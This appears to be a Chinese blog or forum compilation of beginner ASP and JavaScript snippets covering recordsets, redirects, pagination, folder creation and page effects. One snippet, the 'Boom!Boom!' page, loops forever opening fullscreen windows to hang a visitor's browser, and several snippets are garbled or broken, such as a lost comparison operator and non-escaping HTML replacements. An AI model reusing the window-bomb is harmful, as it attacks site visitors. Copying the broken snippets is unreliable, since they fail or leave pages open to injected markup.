整理了一些asp初學者常用的代碼 (4)

1.rs.open後的參數意義

RS.OPEN SQL,CONN,A,B
A: ADOPENFORWARDONLY(=0) 只讀,且當前數據記錄只能向下移動
ADOPENSTATIC(=3) 只讀,當前數據記錄可自由移動
ADOPENKEYSET(=1) 可讀寫,當前數據記錄可自由移動
ADOPENDYNAMIC(=2) 可讀寫,當前數據記錄可自由移動,可看到新增記錄
B: ADLOCKREADONLY(=1) 默認值,用來打開只讀記錄
ADLOCKPESSIMISTIC(=2) 悲觀鎖定
ADLOCKOPTIMISTIC(=3) 樂觀鎖定
ADLOCKBATCHOPTIMISTIC(=4) 批次樂觀鎖定
2.文本提交自動分行
text=replace(text,chr(10),"<br>")
text=replace(text,chr(13),"<br>")
3.不同星期調用不同網頁
<%response.buffer=false%>
<html><head>
<title>dailystuff.asp</title>
</head>
<body>
<%
whatweekday=Weekday(now())
select case whatweekday
case vbSunday
response.redirect "http://www.cnn.com"
case vbMonday
response.redirect "http://www.activeserverpages.com"
case vbTuesday
response.redirect "http://www.aspalliance.com"
case vbWednesday
response.redirect "http://www.aspconvention.com"
case vbThursday
response.redirect "http://www.aspmagazine.com"
case vbFriday
response.redirect "http://www.dilbert.com"
case vbSaturday
response.redirect "http://www.movielink.com"
end select
%>
</body>
</html>
4.判斷SQL語句是否執行成功？
利用err對象就可以了。
　　 sql="insert into table(f1,f2) values('v1','v2')"
　　 conn.execute sql
　　 if err.number0 then
　　　　 response.write "出錯了："& err.description err.clear
　　 else
　　　　 response.write "OK"
　　 end if　　
5.session
<%
'設置時間
session.timeout=1
'結束一個
session.abandon
%>
6.關閉子窗口時刷新父窗口
在子窗口
<script language="javascript">
window.opener.location="父窗口頁面"
window.close()
</script>
我也來，目錄樹生成器。生成指定的目錄結構。
如下：
：<%
'目錄樹生成器，功能：生成指定的目錄結構
'dbpath=server.mappath("./xsadxx/assdd/bsdsdf/c/d/e/f/g/")
dbpath="c:/www/s/s/d/f/we/v/sdf/x/sf/x/sf/x/sf/s/f/sf/sdf/sfd/sdfs/"
function cutx(str,cx)
dim x,y,z
y=str
x=InStrRev(y,cx)
if x=len(y) then
y=left(y,len(y)-1)
x=InStrRev(y,cx)
end if
cutx=left(y,x)
end function

Function addx(str,mode)
dim x,y,z,m,n
x=str
z=mode
If right(x,1)<>"/" then
x=x&"/"
end if
If right(z,1)<>"/" then
z=z&"/"
end if
y=Replace(x,z,"")
m=instr(y,"/")
m=left(y,m)
addx=z&m
end function
function findfolder(dbpath)
Set fso = CreateObject("Scripting.FileSystemObject")
If not fso.folderExists(dbpath) Then
findfolder(cutx(dbpath,"/"))
else
xx=dbpath
end if
Set fso1 = nothing
end function

function createfolder(truep,dbpath)
Set fsof = CreateObject("Scripting.FileSystemObject")
dbpath1=addx(dbpath,truep)
If not fsof.folderExists(dbpath1) then
'Response.Write dbpath1
Fsof.Createfolder(dbpath1)
createfolder dbpath1,dbpath
else
createfolder=true
end if

Set fsof = nothing
end function
Function createtree(foder)
dim dbpath
dbpath=foder
findfolder dbpath
createfolder xx,dbpath
End Function
xx=""
'Response.Write findfolder(dbpath)

'Response.Write createfolder(xx,dbpath)
createtree dbpath

%>
最後貼一個本人寫文本域JS預覽代碼.
<SCRIPT language=JavaScript>
function preview()

{
var s=document.myform.content.value;
if(s.length>0)
{
pr=window.open("",""," scrollbars=yes width=520 height=500 left=50 top=110");
pr.document.write('<link href=style.css rel=stylesheet type=text/css>');
var re=/ /g;
var ss=s.replace(re,"");
re=/</g;
ss=ss.replace(re,"<");
re=/>/g;
ss=ss.replace(re,">");
re=//n/g;
ss=ss.replace(re,"
");
pr.document.write(ss);

}
else alert('沒有可以預瀏覽的文本內容!')
}
</SCRIPT>
<form method="POST" name="myform" action="">
<textarea rows="10" style="table-layout:fixed;word-break:break-all" name="content" cols="90">"
</textarea><br>
<INPUT name=view οnclick=preview() type=button value=預覽頁面>
</form>
我也來帖點：
----特效字------------------------------------------------------
<span style="COLOR: #000088; FILTER: glow(color=white,strength=1) shadow(color=dddddd,direction=130); LINE-HEIGHT: 23pt; POSITION: relative; WIDTH: 100%"> *** </span>

----清空INPUT且選定---------------------------------------------
onClick="Javascript:this.value=''" onFocus="this.select()" onMouseOver="this.focus()"

----全屏顯示頁面--------------------------------------------
<script language="javascript">
history.back();
chatroom=window.open("chat.asp","chatroom","toolbar=no,status=no,resizable=yes")
chatroom.moveTo(0,0);
chatroom.resizeTo(screen.availWidth,screen.availHeight);
chatroom.outerWidth=screen.availWidth;
chatroom.outerHeight=screen.availHeight;
</script>

------定時關閉窗口------------------------------------------
<script language="JavaScript">
var tid=null;tid=setTimeout('window.close()',300000);
</script>

------右鍵屏蔽----------------------------------------------
<body οncοntextmenu=self.event.returnValue=false>
------Boom!Boom!頁------------------------------------------
<script language="JavaScript">while (true){ window.open("bomb.htm","","fullscreen=yes,Status=no,scrollbars=no,resizable=no");}</script>

---------圖片重新設置按鈕---------------------------------------
<script language="jscript">
function myreset()
{ document.login.reset();
document.login.focus();}
</script>
<img src="image/reclear.gif" width="69" height="20" style="cursor:hand" οnfοcus="this.blur()" οnclick="myreset()"

<%
常用命令：
rs.movenext '將記錄指針從當前的位置向下移一行
rs.moveprevious '將記錄指針從當前的位置向上移一行
rs.movefirst '將記錄指針移到數據表第一行
rs.movelast '將記錄指針移到數據表最後一行
currentpage '第幾頁
rs.absoluteposition=N '將記錄指針移到數據表第N行
rs.absolutepage=N '將記錄指針移到第N頁的第一行
rs.pagesize=N '設置每頁爲N條記錄
rs.pagecount '根據 pagesize 的設置返回總頁數
rs.recordcount '返回記錄總數
rs.bof '返回記錄指針是否超出數據表首端，true表示是，false爲否
rs.eof '返回記錄指針是否超出數據表末端，true表示是，false爲否
rs.delete '刪除當前記錄，但記錄指針不會向下移動
rs.addnew '添加記錄到數據表末端
rs.update '更新數據表記錄
%>
.................................................................................................
－－windows窗口打開代碼開始－－
<head>
<script language=JavaScript>
function about()
{
window.showModalDialog("about.asp","ABOUT","dialogwidth:300px;dialogheight:150px;center:yes;status:no;scroll:no;help:no");
}
</script>
</head>
<body>
<a href='#' οnclick="javascript:about();"><IMG src=images/list2.gif border=0 align=absMiddle ><font color=ffffff>
關於系統</font></a>
</body>
－－windows窗口打開代碼結束－－
......................................................................................................................
有關分頁顯示的代碼和註解
分頁顯示的代碼和我的註解，不當之處請指正，另外有什麼更好的分頁的辦法，麻煩貼一下。

<html>
<body bgcolor="#FFFFFF" text="#000000">
<table width="60%" border="1" align="center">
<%
dim sql
msg_per_page = 4 '定義每頁顯示記錄條數
sql = "select * from book order by time" '改成你自己的SQL語句
rs.cursorlocation = 3 '使用客戶端遊標，可以使效率提高
rs.pagesize = msg_per_page '定義分頁記錄集每頁顯示記錄數
rs.open sql,conn,0,1
if err.number<>0 then '錯誤處理
response.write "數據庫操作失敗：" & err.description
err.clear

else

if not (rs.eof and rs.bof) then '檢測記錄集是否爲空
totalrec = RS.RecordCount 'totalrec：總記錄條數
if rs.recordcount mod msg_per_page = 0 then
n = rs.recordcount/msg_per_page 'n:總頁數 '如果總頁數/每頁顯示記錄條數正好爲整數
else
n = rs.recordcount/msg_per_page+1 '總頁數/每頁顯示記錄條數不爲整數，表示有小於每頁顯示記錄條數的數據出現，也應做爲一頁顯示
end if
currentpage = request("page") 'currentpage:當前頁
'以下防止在瀏纜器中直接輸入錯誤參數
If currentpage <> "" then
currentpage = cint(currentpage)'小數->整數

if currentpage < 1 then '小於1的數
currentpage = 1
end if

if err.number <> 0 then
err.clear
currentpage = 1
end if

else

currentpage = 1
End if

if currentpage*msg_per_page > totalrec and not((currentpage-1)*msg_per_page < totalrec)then '大於總頁數
currentPage=1
end if

rs.absolutepage = currentpage '設置指針指向某頁開頭
rowcount = rs.pagesize '設置每一頁的數據記錄數
dim i
dim k
%>
<tr align="center" valign="middle">
<td width="50%">e-mail</td>
<td width="50%">name</td>
</tr>
<%do while not rs.eof and rowcount > 0 '用rowcount定義循環次數即每一頁的數據記錄數%>
<tr align="center" valign="middle">
<td width="25%"><%=rs("e-mail")%></td>
<td width="25%"><%=rs("name")%></td>
</tr>
<%
rowcount=rowcount-1
rs.MoveNext
loop
end if
end if
rs.close
set rs=nothing
%>
</table>

<table border="5" align="center">
<tr><td align="center" valign="middle">
<%call listPages()%>
</td></tr>
</table>
</body>
</html>
<%
sub listPages()
if n <= 1 then exit sub '只有一頁
%>

<p><span class=smallFont>>>
<%'第一頁時%>
<%if currentpage = 1 then '第一頁%>
<font color=darkgray face="arial" >第一頁前一頁</font>
<%else%>
<%'第一頁至最後頁時%>
<font color=black face="arial">
<a href="<%=request.ServerVariables("script_name")%>?page=1">Top</font></a>
<a href="<%=request.ServerVariables("script_name")%>?page=<%=currentpage-1%>"><font color=black face="arial" >前一頁</a></font>
<%end if%>
<%'最後頁時%>
<%if currentpage = n then%>
<font color=darkgray face="arial" >下一頁最後頁</font>
<%else%>
<%'第一頁至最後頁時%>
<font color=black face="arial" >
<a href="<%=request.ServerVariables("script_name")%>?page=<%=currentpage+1%>">下一頁</a>
<a href="<%=request.ServerVariables("script_name")%>?page=<%=n%>">最後頁</a></font>
<%end if%>

<font color=black face="arial" >
Page:<%=currentpage%>/<%=n%>頁<%=msg_per_page%>條/頁 Total:<%=totalrec%>條</font></span></p>
<%end sub%>

整理了一些asp初學者常用的代碼 (4)

[轉帖]使用NMT和pmap解決JVM資源泄漏問題原創

Python實現大麥網搶票的四大關鍵技術點解析

Python 安裝庫指令大全

salesforce零基礎學習（一百三十八）零碎知識點小總結（十）

一款開源的.NET程序集反編譯、編輯和調試神器

關於接口協議，你必須要知道這些！

【2024-05-21】以茶會友

數據SQL執行器代碼:

如何控制float類型小數點後的位數

整理了一些asp初學者常用的代碼 (5)

SQL注入黑客防線網站實例分析

關於薪水問題（轉）

https://yachay.unat.edu.pe/blog/index.php?comment_area=format_blog&comment_component=blog&comment_co

linux以太網驅動總結